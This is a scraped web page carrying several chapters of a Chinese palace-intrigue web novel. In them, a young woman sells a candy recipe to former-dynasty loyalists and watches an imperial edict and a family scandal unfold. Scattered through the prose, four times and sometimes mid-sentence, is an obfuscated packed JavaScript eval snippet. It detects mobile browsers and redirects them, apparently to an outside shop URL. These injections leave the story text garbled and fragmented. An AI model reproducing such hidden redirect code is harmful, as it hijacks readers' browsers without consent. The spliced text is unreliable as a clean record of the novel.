l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349365|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却也只低声道：“姐姐……” “我不嫁人了，我决定好了！” 许玟素脑袋凑近黎姣姣，她的双眸盛满了挣扎和无措，然后被一个馨香温软的怀抱消解。 黎姣姣的声音柔弱但有力，她人也如此，瞧着温良恭顺，可许玟素知道，这个人骨子里却有最要强的一面。 她是勇敢又坚定的女人。 “我要考女官。” 她也是如水包容的女人。 黎姣姣从小就展现出这一点。 那年，在母亲的卧房，充盈着苦味，年仅六岁的黎姣姣，稚嫩却有力地发问：“许太太就这么拱手相让吗？” “软弱的娘亲也会养出软弱的女儿。”她像个老婆子一样叹气，“我姨娘就告诉我，好东西得靠争抢来的，您现在不仅不争不抢，甚至还让出去了，那妹妹怎么办呢？” 那年，许玟素也才四岁，父母的争斗让她活得小心翼翼，她天然眷念着母亲，又不敢反抗父亲，对父亲种种伤害母亲的行为，既害怕又无力。 如鲠在喉的感觉，延续至今，每每难忘。 “姐姐，好东西是要争抢来的，要抢！ 咱们一块去考女官吧。” 许玟素的话与黎姣姣的盘算殊途同归，都不用扯食阁做幌子了。 只是，显然当下许玟素情绪突然爆发。 她话语中，前言不搭后语、又有几分闪烁其辞。 算了，黎姣姣不接话，轻拍怀中人瘦削的脊背，一拍、一拍、一拍。 “夜深了，我已经让人给你备了安神汤，天大的事今夜都先放一边，喝了好好睡一觉，你记住成事之前，要静心、再谋划。” 黎姣姣目光灼灼，让许玟素无力反驳。 许玟素失魂落魄地离开，屋里凭空冒出的马红翠却神采奕奕。 她听了全程，欣喜道：“许小姐不嫁人，姑娘倒好名正言顺住下来，咱们的谋算也可放缓一些。” 黎姣姣摇头，她卸下情绪化的面容，冷峻一张素脸，冷静道：“不对，她的情绪不全是婚事。” 指尖敲击桌边，细细咀嚼着许玟素的一言一行。 当说到“好事”，这个字眼击溃了许玟素的情绪，可好事不止是婚事啊，还有她表哥重新下场一事，怎会这样敏感。 “哪有什么好事？” 黎姣姣将这句话翻来覆去含弄在舌尖，必是大少爷出了岔子，这才致使许玟素以为是一件坏事。 坏事吗？黎姣姣挑眉，按府上的惯性，说不定只是件荒唐事。 “算了。” 黎姣姣知道许玟素的性子，过不了几日，她自己会说出实情。 “看形势，食阁还是放给花小子，明面上干净些，等于府过问，再找别的清白生意。” 马红翠连连点头，“这样也好。” “跟粮行的掌柜还是没谈拢？” “他们只肯卖糖，不肯借糖。” 状元糖的最大开支应属原材料的糖，但账上却没花一个铜板。 照季鲜儿所言，黎姣姣派人到城中三大典当行，以市场价再高上半厘利钱的借据，借了十斗，约定半年后还十斗糖及利钱。 可惜，近来典当行也不给借了。 黎姣姣便派人试着去粮行借糖，也行不通。 她沉思片刻，道：“把状元糖的方子卖给葛季粮行，状元糖的生意让他们一块做。” 马红翠大惊，自古秘方难得、价比千金，状元糖在鄂州正是火热，可黎姣姣竟是要卖了，她有意多劝。 黎姣姣态度强硬，道：“只管照做，季鲜儿那边就说是我的决定，明日傍晚时候，与葛记的契书必须拿到我面前来。” “对了，收集的点心方子有多少了？厨子有人选吗？” 灯烛霹雳作响直至天明，才结束这一夜的燃烧。 21. 葛记粮行 葛记粮行—— 鄂州城内大小粮行不少，唯葛记粮行备货中糖块占比最多。 借糖本来行得通畅。 可为商者，都不是傻子，见城中状元糖火热纷纷，又打听到东郊糖厂四月就要出货，手上捏着糖的人都敏锐察觉到糖价要贱。 三家已经借出的典当行回过味，吃了哑巴亏，再要找冤大头就难了。 于府的软轿停在珍馐楼，轿夫见黎姑娘带着丫头往二楼雅间去了。 四个人扛起轿子回程，等两个时辰后再来接主子回府。 直到看不见轿子的影子，黎姣姣从楼上下来，带着春苗一路行至另一处，西市连靠运河码头，此处多是贩夫走卒，忙碌的伙夫穿梭在船上、岸下，背上一筐又一筐。 “葛掌柜还需亲自盯卸货？” 一个瘦长身型、面窄满胡的男人扭过头。 黎姣姣脸在帷帽纱网下，施施然受他无礼地打量。 “是黎小姐？”他问，然后爽朗一笑，周身气质变得人畜无害，老实极了，他抱拳道：“比不上黎小姐，我们做活的，事事都得亲为。” 这才第一面、第二句话就给黎姣姣一个下马威。 “哪里有葛掌柜的威风，您说不见到我，任何生意都免谈，这不，我得了话，立马来见您了。” 她还以一个软钉子。 “小姐折煞在下了，不如坐下聊。” 葛熊大臂一张，手指一处茶棚。 走进，落座，店家是一个面善的老妪，步履蹒跚，摆上两碗清茶，就自顾自揣起抹布干活。 “条件简陋，还望黎小姐不要见怪。” 隔岸船只响起齐声号子，是伙夫们迎船的歌声，一时热闹，但茶棚里气氛冷落。 水葱般指尖举起沿口破损的粗陶茶碗，像是端着上好的佳酿，一闻二抿三饮，茶水虽然寡淡但足够解渴。 “黎小姐不想说什么吗？” “我家掌柜该说的都说了，还以为只差见我的脸了。”黎姣姣懊恼，“要我说？我哪里知道该说什么，才能让葛掌柜不再试探呢。” 葛掌柜刻意眯着笑，回话不紧不慢：“试探？黎小姐怕是一无所知，被人当枪使吧，你可知……” 他故意留个气口，想让黎姣姣心虚，若她知晓一二，难免慌乱；若她一概不知，也会起疑，两种情况，都是葛熊想要的。 可惜，黎姣姣说出第三种回答，“是啊，制糖方子是前朝宫中的，葛掌柜是商人，并不是官人，有利可图便好好做生意吧。再者，你又经得起试探？” 葛熊瞳孔猛然一缩，面前的娇客竟然有如此胆识，他立马卸下那股刻意，换成推心置腹，大吐苦水：“我们可没这个本事，虽图利，也惦念着小命，鄂州自古少作物，虽有运河存在，但也不过是替江南道中转。 直至那位……” 他使了一个隐晦的眼色，继续道“是那位命鄂州开始种柘蔗，若是有心人知道我们在鄂州做糖生意，难免招惹口舌。” “葛掌柜多虑了，生意而已。” 见他还要再继续装腔作势，黎姣姣不耐烦了。 “我是怎么来到你面前，方子是怎么来到我面前，葛掌柜还需要我把话再讲得明白些吗？” “你们、季鲜儿，都是前朝的旧人，怕不止—— 听闻运河沿岸有打着复周旗号的残党，你们不就是那批残党吗？说到底，生意就是生意，葛掌柜有意我们可以合作，无意也不用试探我了……” “谁当皇帝，谁想当皇帝，谁当了皇帝，跟我有何干系。” 季鲜儿的名帖是绣娘，黎姣姣信了。 季鲜儿无意想出挣利的法子，黎姣姣也信了。 季鲜儿拿出制糖的方子，黎姣姣还信了。 至于，城中独挑中葛记卖方子，只因为他们存量多，看来季鲜儿信了。 季鲜儿不仅信，还促成这次见面，葛记的人也信这个黎小姐。 如今黎小姐吧啦吧啦卸了葛记的老底，既荒诞又可怕。 葛熊的脸发白，哑口无言。 “黎小姐，你说的没错，我们是女帝旧臣。”抹桌子的老妪不知何时站到葛熊身后，枯干般的面容，依旧眼光如炬，她说：“她选中了你。” “我今日来只为一件事，卖状元糖的方子，一块做鄂州城的生意。” “我们答应。”老妪痛快拍板，“小姐年纪轻，没见过昔日女帝在位时，女子亦可拜官封相，或相夫教子、或游历四海，男人可做的、女人也能做。” 她越说越激动，“黎小姐，我们使这小小糖块变做鄂州特产，女帝未能达成之愿，你与我今日做到了。” “你已经是我们的一员了。” 带着签好的契书，适时回到珍馐楼。 片刻后，于府的软轿准时出现在店前，黎姣姣站在窗边，眼见小厮上二楼，她作声：“时间竟过得这样快，春苗，咱们家去吧。” 回府，又是夜里。 “这里是契书，抓紧制糖铺货，据信，还有十多日，礼部卢侍郎将来鄂州主考，届时鄂州城必须铺满状元糖。” 马红翠点头，对主子的话没有不应的。 “我们算是在鄂州站稳脚跟了，你也不用继续在于府做事，还是同在京都一样，带着两个丫头出去自立门户。” “多谢姑娘！”马红翠跪拜，感激得涕泗横流。 “出去之后，多看顾两家铺子，季华终究不是老人，我对她也不放心，何况她身边的季鲜儿，所图不小。” 马红翠点头，又跪下大磕三个响头，“姑娘放心，一切交给老奴。” 背着鼓鼓囊囊的行李还有一口锅，马红翠离府，听绿阁又归于安静。 烛花滋啦爆出细响。 屋里，春苗正替主子梳头，从上到下，黑缎般的秀发被她珍重拿起，卧在掌心一缕缕梳理得柔顺。 “也是白眼狼一个，离了姑娘欢天喜地的模样瞧着就来气。” “你哪天离了我，不做奴婢也是一样欣喜的。” “不！我这辈子会一直服侍姑娘，姑娘去哪我就去哪。” 黎姣姣难得真切地大笑，她拿眼看这个粗笨的奴婢，“就你嘴甜。” 她坐正，“既然这样，你也不能一直蠢笨下去了，我考考你，季鲜儿是什么时候露馅的？” “是……”春苗挠头，“是姑娘慧眼！” “错了！从她有条有理地安排制衣分工起。” 免不了要和这蠢丫头解释。 季鲜儿最初以一个悲惨的形象出现在人前，她藏在花大婆、花小子身后，像个苦命又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349366|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没主意的普通妇人。 花大婆是个逆来顺受的人，在于府常受欺负，依她的性子，她膝下孩子的性格难免怯懦，并且她绝对做不出换养之事。 而季华，一个女孩被当作男孩养大，混迹市井，出落得伶俐，一个人的成长离不开长者的教导和所在的环境。 从季华身上就能窥见季鲜儿的本性，她极有成见，又有一门好手艺，一个制糖的方子就能一本万利，这样的人，怎么会没落这些年。 黎姣姣本还拿不准，心想或许季鲜儿只是老了？培养出季华就等着颐养天年？ 可在她面前展示的本事、和有意无意的试探底线。 是的，季鲜儿在试探她，其实她们两人是在相互表演，而黎姣姣更快意识到，她也更快演出季鲜儿想要的主家的样子—— 有远见、知人善用、又不失善良。 这样的女人，季鲜儿的一生遇到过，失去过，是谁呢。 在女帝治下，或许宫墙内外全是这样的女人，黎姣姣努力扮演这样的人，她想要季鲜儿给她更多。 “那你知道，今天为何如此顺利？” 春苗眼睛一转，拍手道：“因为姑娘早就看出来，葛记和季鲜儿是一伙的！” “对！不错，春苗也是个聪明姑娘，日后我的铺业交由你打理也使得！” “那不成，照顾姑娘才是最重要的。” 黎姣姣噗嗤一笑，心下畅快，美美睡去。 又三日。 花花糕点开张了，成了城里最不起眼的一件喜事，库房来往的搬运工，一袋又一袋糖块搬进。 坐镇的主家是一个膀大腰圆的婆子，店里还有两个半人高的小丫头，一有客人进店，便只是做瞧热闹的打算，也会被两个孩子哄骗着买些点心。 鄂州的点心花样多。 有融合江南风味的各式茶点，小巧精致、入口即化，甜度适宜。 还有各种饵饼，甜咸兼具。 不过店内最多人买的，还是各种糖块。 与城中大卖的状元糖不同，花花糕点的糖块不仅仅是糖。 用瓜子、花生、芝麻炒的酥糖，黏糊糊一大块，吃起来满嘴生香；还有一种糖，是用撒子一块炒，脆硬的撒子也变得湿润、粘牙。 花花糕点，也渐渐在鄂州城中有了口碑。 四月至，满城春色，细细的雨洒过更是一片欣欣向荣。 镜花楼的季掌柜忙得不可开交，抢在考前将七十套白布里衣送至各考生处。 花花糕点的掌柜没了身影，人在郊外的棚屋里高挽衣袖、翻炒锅内烧到发稠、发白的糖浆。 锅里高温不下，院里也是人声鼎沸，窄脸男人忙着招唤人手分装糖块，一篓一篓送至城中。 各个小摊主收货，交付一串铜钱，又争先抢后摆好“状元糖”，齐齐吆喝起，让南来北往的行人、齐聚城中的考生纷纷驻足。 终于，山南道贡院大门打开，在鄂州百姓的注视中，礼部侍郎带着明黄圣旨进入，宣告着恩科的到来。 距离奉圣元年恩科的第一场府试，仅剩三日。 这是一场注定载入史册的科考—— “去给于府送话，说我们午后会过去宣旨，让府上做好准备，尤其是他们家大少爷。” “是！韦侍郎！” 22. 圣旨 “往年清明都有雨，今年倒奇了，一连几个晴日。”春苗推开窗，晨光淌进来，落在靠窗的花瓶上，里头插着新折的杏花，还带着露水，“都说这是各路仙人眷佑，让考生们好过些。” “连你都关心起科举大事来，我们春苗真真长进不少啊。” “姑娘莫要打趣我了，今早主考官进城，他的威风全鄂州都知晓了，红袍宝马，不少人去瞧他呢，跟状元郎一样威风。” “你也别担心瞧不上他！”黎姣姣促狭一笑，“这人还是你许小姐的亲家呢！” “哎呀！原来是他！”春苗一拍脑门，忧心道：“今日许小姐定又要来折腾姑娘您了。” 话音刚落，院里人声躁动。 远远有高声呐喊—— “快！老太君让去正门，有圣旨要到！” 做洒水活计的婆子一听，唰地扔下苕帚就外出跑，跑了两三步又停下，跟院中其他还没做反应的人面面相觑。 一见从屋内出头的黎姣姣，众人终于找到了主心骨，七嘴八舌道：“表小姐，我们得快些去吧。” “都莫要急，传旨队伍不会来得仓促，想来是家里先得了信，人还没来呢，大家都检查一遍衣裳，凡有破洞的、脏污的，赶紧换身体面的去，手上活停下，去找府里大管事，看你们怎么站位。” 黎姣姣不紧不慢指挥到，自己收拾好也踩着碎步去到门前。 见到许久未见的三位长辈，因吃斋念佛，都清瘦不少。 许玟素姗姗而来，脸色说不上好，见了长辈强撑出一个笑容，待于盛奕出现，她的笑容再也挂不住了。 他的腿真好了，走路虽缓慢但稳当，消瘦不少，发丝规整梳拢在折巾下，玉面笛颈，从耳后到领口那一段，瘦得几乎能看清筋脉的走向，纤纤的，细细的，轻轻一折就会断。 定是吃了大苦头。 性子却晴朗不少，一一向长辈行礼，又向两位表妹问好，便站到另一侧，等候传旨。 “圣旨到——” 于府大门洞开，影壁前的青砖地泼过水，压了浮尘。 门楣换了新灯笼，绛红纱面，风过时穗子轻摆。 黎姣姣站在垂花门边。 老太君端坐门槛内圈椅中，铁锈色大袖襦裙，点翠凤头簪压住白发，背脊挺得笔直，目光落在巷子尽头。 两位太太一左一右立在旁边。 再往左，是于盛奕。 依旧不见白嘉园的身影。 许玟素垂头站在后面。 她们身后，两排仆从静立。 靠前的几个老人站得规矩——一个眼珠往廊下溜，另一个垂着眼皮、嘴唇翕动。 后头年轻的更不成了。 一个穿青绢衫的丫头两腿绷得僵直，旁边小厮捧着的茶盘轻轻磕着响。 终于，巷子那头传来脚步声，整齐沉实。 坊正引路，几个内侍随后，中间青帷小轿压得低低地往这边来。 “来了。” 老太君撑住扶手站起，大太太上前虚扶，发间的金钗颤得厉害。 她们两人彼此搀扶着，竟有一股萧瑟之意。 满府人齐刷刷跪下去。 黎姣姣跪在石榴树后，从那枝叶缝隙望出去—— 韦侍郎掀帘而出，手捧明黄，肃声： “于氏接旨——” “门下：朕惟治世以文，戡乱以武……” “念尔夙蕴经纶，已著贤声，若复预锁院之试，徒淹俊杰之志。 是用特许免其礼闱之试，候放榜后，径赴廷对。” “……故兹诏示，想宜知悉。” 尾音落下，于老太君领着阖府上下，恭恭敬敬叩下头去。 三跪九叩，满院只有衣料窸窣的轻响。 “臣于氏阖家，谢主隆恩。” 老太君的声音不高。 韦侍郎将圣旨递到她手中时，眼角带笑，恭贺道：“老太君好福气，这般恩典，前朝未有，后世难及。令郎君的大名，怕是要随着这桩佳话，一同写进史牒里去，万古流芳了。” 老太君稳稳接过圣旨，嬷嬷早已捧了红封上前，也是满脸喜意地递过去。 韦侍郎豪爽一笑，抱拳告辞：“待晚间再来登门，讨杯郎君的喜酒吃。” 送走韦侍郎一行人，府门缓缓合上。 也不知是谁先笑了一声，寂静便被打破了。 先是窃窃的低语，再是压不住的笑音，最后连廊下那几个小丫鬟都跟着拍起手来。 “赏！” 老太君拄着拐杖立在影壁前，一个字落下去，满院都亮了。 “今日府上人人有份，不分主仆，不论新旧，各得半角银子。红抬抬出来，现在就分。” 黎姣姣仍站在石榴树下，看着那些白花花的银子被抬出来，分到各人手里。 她收回目光—— 从今日起，于家大少爷于盛奕的名字，要写进青史里了。 此等未有之事，免会试、保送殿试的前科状元。 这殊荣传出去，足以惊天下、动朝野。 而焦点中心的那个人，不知何时已悄然离了前院。 待众人回过神来寻他时，他早已回到自己院中，掩了门。 枕流居里依旧静悄悄的，仿佛外头的喧腾、泼天的喜气、白花花的银子，都与他无关。 人一散，许玟素正要往自己院中去，黎姣姣一把拉住她：“方才韦侍郎留了话，晚间还要上府来。二太太嘱咐我看好你，别往别处去。” 见她神色郁郁，黎姣姣放软了声音劝她： “你也瞧见了，韦侍郎那等人物，他嫡亲的胞弟还能差了？今年刚点了山南道考官，实打实的名门清贵。” 无话可说，许玟素止不住叹气，黎姣姣反应过来，恐怕不止婚事。 “好了，咱们去湖上坐会，吹吹风。” 拉着人往外走，不经意开口：“今日居然没见到少夫人。” 显然，许玟素嘴角一动，可惜话语又被咽下。 待到无人处，黎姣姣也不催促，仿佛就是带人来吹清明时节并不暖和的湖风。 “她…… 她好像被囚禁了。” 说话声音轻，一出口，幻化青烟散在空中。 饶是淡然如黎姣姣也被吓一跳，两人面面相觑。 许玟素身子不自觉地拧着，一只手攥住袖口，另一只手抬起来又放下，放下又抬起来，不知往哪儿搁——像一条离了水的鱼，徒劳地挣着，不知该往何处去。 “小姐！” 身后传来丫鬟的急唤，脚步声咚咚地近了，“大太太请您往花厅去，说韦家那边……” 黎姣姣转向许玟素，张了张嘴，终究只是说了句：“走吧。” 两人遂不再言语，一前一后，往花厅方向去。 厅中，三位长辈已在座。韦侍郎身侧还立着一位圆袍女郎，腰间系着宫绦与鱼符，不必细看便知，又是太后跟前的女官。 走了一个午女官，又来一个—— “这位是郑尚宫。” 韦侍郎介绍到。 “郑尚宫此来山南道，主考今科女学士。我与她同行南下，路上也好有个照应。” 提起此人是女官，四个于府的女人脸色都不好，莫名的心虚、有意的遮掩，因此问候得极为浮夸，黎姣姣腹诽，难不成，白女真的—— 她竖起耳朵，等着郑尚宫开口问起白女。 白女一直跟着午女官做事，女官们同气连枝，北上南下，消息总是通的。 只要问一句，哪怕只是顺口一提，她便能顺着话头递几句过去，探一探白女的情形。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349367|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可偏生没有。 一屋子人，说的全是山南道风物、路途远近，一派客气周全、热热闹闹。 独独那个名字，像被悄悄抹去了。 绝口不提。 黎姣姣慢慢攥紧了袖口。 更古怪的是，连白女的丈夫也被迫消失了，分明他刚刚领了圣旨，是今日最大的喜事，是韦侍郎登门的由头，是阖府上下奔走相告的荣光。 可此刻，众人谈天说地，竟也无人将他带进话里，仿佛他也是个该被避讳的。 丈夫的荣耀悬在梁上，妻子的痕迹埋进土里。 夜里翻来覆去思索此事，许是白女被午女官厌弃？或者不是厌弃，而是得知了某些辛秘，被软禁在府上？ 想来只有这个说法能够勉强解释。 可仍有说不通的地方，郑尚宫与午女官同为太后跟前的人，即便有隙，面上也该过得去。她却不提午女官，也不提白女，仿佛这二人从未存在过…… 黎姣姣忽然坐起身。 女官之间，想必也有高下之争，两人不是同一路的。 若能示好于郑尚宫，搭上她，莫说女学士的门路，任她手上漏几个点子，好似季鲜儿那般，自己也能再赚一笔。 翌日一早，黎姣姣便动了。 她遣人悄悄打听了郑尚宫的喜好——爱吃什么茶，惯用什么香，身边跟着几个女史，平日什么时辰出门。 又辗转问明了郑尚宫落榻的处所，就在城南韦家别院，与韦侍郎宅邸隔着一道巷子。 打听妥当，她坐在窗前，慢慢理了理鬓发。 这事，得办得不着痕迹才好。 黎姣姣正想着心事，春苗一溜烟跑进来，喊道：“姑娘！大少爷院里闹起来了！” 她压不住嘴角的笑，凑近了说：“也不知是怎么了，老太君在大少爷院里发了好大的火，把大少爷身边那个侍女给打了，连书桌都砸了！” 除了疑惑不解，黎姣姣再没有别的反应，难不成一夜之间，于家人都中邪了不成。 黎姣姣被春苗撺掇着往枕流居去，刚到院门边，顺着门缝往里瞧。 正撞见老太君立在廊下，于盛奕站在门槛内，二人隔着那道门槛，一动不动的，像两尊对峙的石像。 这场面竟有些眼熟，她一时想不起在哪儿见过。 正愣神，于盛奕开口了，声音怪异，像是刻意在粗声说：“我要参加考试。” 疯了，于盛奕腿好了，人疯了。 已有旨意免去他的一应会试，可他还要去受这遭苦。 三天两夜的府试、九天七夜的省试，吃喝拉撒全在狭小的考房内，莫说身子骨健壮的考生都得累出病，好些常年伏案的考生，有死掉的、晕倒的、次次都有从考场往外抬的。 命还是小事，一旦缺了考，又要等下一年才能参考。 年年岁岁人不同，多得是一蹶不振，再也考不上的人。 “你知不知道考场里多辛苦！你！你！” 老太君抬手指着他，指尖抖得厉害，那副发怒的模样果真眼熟—— 黎姣姣总觉得下一瞬就要听见“毋得君——”从那嘴里蹦出来。 “你想没想过，以你的本事去答题，一定会败露。” 黎姣姣愣住。 败露？什么败露？ 还没等她想明白，身后忽然传来沉沉的脚步声。 她回头一看，头皮骤然发麻。 月洞门那边，一队护卫正包抄过来，乌压压的，少说十几人，手中握着棍棒，已逼近枕流居院墙。 黎姣姣心脏狠狠一跳。 她一把拽住春苗的手腕，指节都攥白了，春苗被她扯得一个踉跄，两人对上眼神，随机紧贴着墙根往回溜，脚下不敢停，连气都不敢喘。 身后，那队护卫已经围住了院子。 23. 硬闯枕流居 回到听绿阁，黎姣姣反手将门掩上。 屋内是常用的熏香味道，让人安心。 她身子好一阵发颤，忙扶住桌沿，腿软得像被人抽去了骨头。 胸口也闷得发慌，她张嘴喘了口气，才发现自己一直憋着。 额上沁出冷汗，凉津津的，太阳穴突突地跳。 在桌边坐了许久，才让黎姣姣心神归位。 她将方才那一幕从头到尾捋了一遍，于盛奕说他要去考试，而老太君说会败露。 怪了。 于盛奕不是号称文曲星下凡么？三岁熟读四书五经，六岁作登楼阁赋，十二岁连中三元。 是腿好了，脑子扔了？ 什么会败露呢？ 墨条在砚台内一圈一圈打转，细微的研磨声，黎姣姣心猛然揪紧。 难道。 这个人，根本就不是于盛奕？ 她执笔，在纸上落下三个字—— 白嘉园。 种种源头，都是从白女回府后不见踪迹开始。 她盯着那名字，墨迹慢慢洇开。 而后，于盛奕腿伤痊愈宣布下场。 黎姣姣猜测，白女回到后宅之中，使用了什么手段使得于盛奕腿好了，因为她的前程毁了，唯一的指望只剩丈夫了。 “姑娘！” 春苗一头冲进来。 回来的路上，两人分开，黎姣姣让春苗趁乱去打听清楚，以防今夜过后被禁言。 她额上冒出细汗，气喘吁吁：“奴婢打听了，说是神医早就到了府上，先把大少爷治好了，后头才有白女回来的事。” 黎姣姣微微一怔，在心里将两事重新排序调个，还是以为，白女是被午女官厌弃，才以至于闭门不出，全心仰赖丈夫的前程。 春苗又说，“不是姑娘想的那样，真有几个小丫头，原先在大少爷院里做种花的活计，她们亲眼见，在白女回府之后，人压根就没在院子里露过面。 后来院里管得一日比一日严，她们几个全给撵出来了。今儿这么大日子，阖府上下都在前头，还是没人见着白女。” 她顿了顿，眼珠子转了转，声音压得更低：“她们私下都说，怕是……关起来了。” 黎姣姣捏着那张写着“白嘉园”的纸，半天没吭声。 一夜无梦。 醒来时，黎姣姣盯着帐顶发了会儿呆。 她撑起身，浑身酸软。 昨夜跑得太急，又在风口里站了许久，身子便闹起脾气来，动一动都乏。 窗外静得奇怪，今日是府试前一日，满鄂州有考生的人家哪个不是鸡飞狗跳的，偏于府像被人掐住了嗓子，半点声息也无。 听绿阁的门也锁紧了。 她靠在榻上翻书，书上的字排队跳进眼里，却不肯往心里去。 春苗是个闲不住的，东擦妆台，西抹窗棂，接着又去理妆奁，折腾了小半个时辰，抬眼一看日头，拍脑袋：“姑娘该进膳了！” 说罢提着食盒往外跑，裙角带起一阵风。 约莫两刻钟，春苗掀帘进来，食盒往桌上一墩，一小碗青精饭、一碟鲊肉、一碟春不老，汤是荠菜圆子羹。 碗碟摆齐整了，春苗把筷子递过，随口说道：“大厨房说这两日外头乱哄哄的，采买不便，委屈姑娘了。” 外头乱哄哄的。 是了，外头是该乱哄哄的。 “姑娘，外边传话了，说东郊糖厂定下了五月里就出货。” 春苗这番去大厨房，还收到了季华的密信。 黎姣姣垂眼沉吟片刻，抬眸道：“你回话给季华，就说状元糖的备货先缓一缓，别急着往外放。” 春苗点头，却忍不住问：“姑娘，咱们的糖不是卖得正好么？” 黎姣姣没答话，她在想自己的行事有些招摇了。 状元糖在鄂州卖了这许久，满街满巷都是，糖厂的人只要长了眼睛，不可能瞧不见。可对方偏偏按兵不动，既不来找茬，也不来攀谈，像是压根不知道。 若自己是糖厂的主家，见了有人抢先卖自己的货，总要有动作，要么派人来试探虚实，要么使手段压上一压。 可人家偏就不动。 除非，糖厂那边的人，跟状元糖本就是同出一源。 可一边是前朝女帝的旧部，一边是当今太后的人，这两边决不可能互通有无。 那就说明，糖厂真正的主心骨，压根不知道外头有个“状元糖”在卖。 “算了，不必回话了，还叫他们照常做吧。” 她也没必要未战先怯。 黎姣姣搁下筷子，手指不自觉敲响桌面。 躲在东郊糖厂后头的那个人，究竟是谁？ 这般下来，黎姣姣倒是想要一探究竟。 她叹气，因女户一事刻意不理会那边，现在又要探察清楚，果然呐，命运便如此，避不开的，终究避不开。 “罢了，饭也不用吃了，把字帖拿来。” 黎姣姣欠命运的，还有一桩事呢！ 蘸墨，落笔，一笔一划，认认真真。 写了两页大字，又背了半篇《女诫》，她心下平静不少。 踱步，随口： “屋里摆张四方桌， 桌上摊着几页纸。 杂念暂歇心方定， 且先果腹再作理。” 念完自己先笑了，这叫什么诗，顺口溜都算不上。 兴致被泼盆冷水，作诗还是不行啊。 “许小姐又来了！” 午后，太阳正暖。 春苗的唉声叹气迎来这位同样垂头丧气的许小姐。 “我受不住了。”许玟素进门就往榻上歪，声音闷闷的。 “白嘉园被关起来，是因我表哥看上她的陪嫁丫头，硬夺了去！” “你说什么？” 许玟素抬起头，一脸认真，眼圈竟有些泛红：“她那个性子，姐姐是知道的，最是要强。今日这般场合都不露面，我怕……我怕表哥这下要把她逼死了！” 屋内静得瘆人，连窗外的虫儿都被吓得噤声。 黎姣姣盯着她，一字一顿：“你在胡言乱语什么！” “我说的是真的！”许玟素腾地站起来，扯住她袖子，“姐姐不信，我们现在就去表哥院子里，当面问个清楚！” “可是他院子现在——” 话没说完，许玟素已经撒手往外冲。 “等等！你先冷静！” 叫不住人，黎姣姣只好提起裙摆快步跟上去。 果然，今日院子已经被护卫围个水泄不通。 为首两个护卫将院门堵得严严实实，见许玟素冲过来，两人往中间一横，寸步不让。 “小小姐，请您留步。”为首的护卫板着脸，“老太君吩咐了，这院子谁也不让进。” 许玟素脚步一顿，抬眼瞪着他们。 另一个护卫脸色为难：“您别让小的们难做，真不能进。” “好啊！祖母、祖母竟也知道，竟也要包庇。” 许玟素冷脸竖眉。 身后的黎姣姣听明白了，老太君此举和许玟素所言，压根是两回事，可她没开口提醒，她也很想看看，院子里究竟是什么好戏。 “我看谁敢拦！” 一声怒骂，许玟素直径往里走，蕊儿抢上前护在她身前，伸手就要推开那两个护卫。 护卫当真不退。 胸膛直挺挺撞上蕊儿的手，顺势一顶，蕊儿“哎哟”一声，仰面摔在地上。许玟素被带得踉跄两步，堪堪站稳。 她愣了一瞬，随即笑了。 “好好好。” 话音未落，她手已经探出去，一把攥住为首护卫腰间的斥棒，抽了出来—— “小小姐不可！” 护卫话没说完，棍子已经落下来。 唰——破空声尖锐刺耳。 一棍砸在那护卫肩头，闷闷地响，他身子晃了晃，没躲，咬着牙硬挺。 许玟素反手又是一棍，抽在另一人胳膊上，那人也站着不动，额上青筋都暴起来，就是不躲。 “不过是我家的两条狗，倒要对主人吠叫了！”许玟素越打越狠，棍棍到肉，“今天不打死你们，倒叫府上没个规矩！” 第三棍下去，那护卫脸上见了血，棍梢扫过眉骨，皮开肉绽，血珠子顺着脸颊往下淌，他仍站着不动，只是膝盖微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349368|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微弯了弯。 “住手！” 黎姣姣厉声大喝，又冲身后呆住的婆子丫鬟喊：“还不拦下她！” 许玟素已经打红了眼，第四棍又举起来。 黎姣姣几步冲上去，一把攥住她手腕，两人较起劲来，那根斥棒悬在半空，抖得厉害。 几个婆子趁势扑上来，七手八脚抱住许玟素的腰、拽住她的胳膊，硬生生把人从护卫跟前拖开。 他们仍站在原地，一动不动，血顺着眉骨往下流，也不敢抬手去擦。 “闹够了没有！” 老太君扶着嬷嬷的手，她走得急，气息还没喘匀。 目光扫过地上跪着的护卫，又扫过被婆子们架着的许玟素。 她嘴唇动了动，叱责的话堵在喉咙口，终究没吐出来。 “愣着做什么！”她偏过头去，“带下去，赶紧上药。” 护卫磕了个头，被人搀走了。 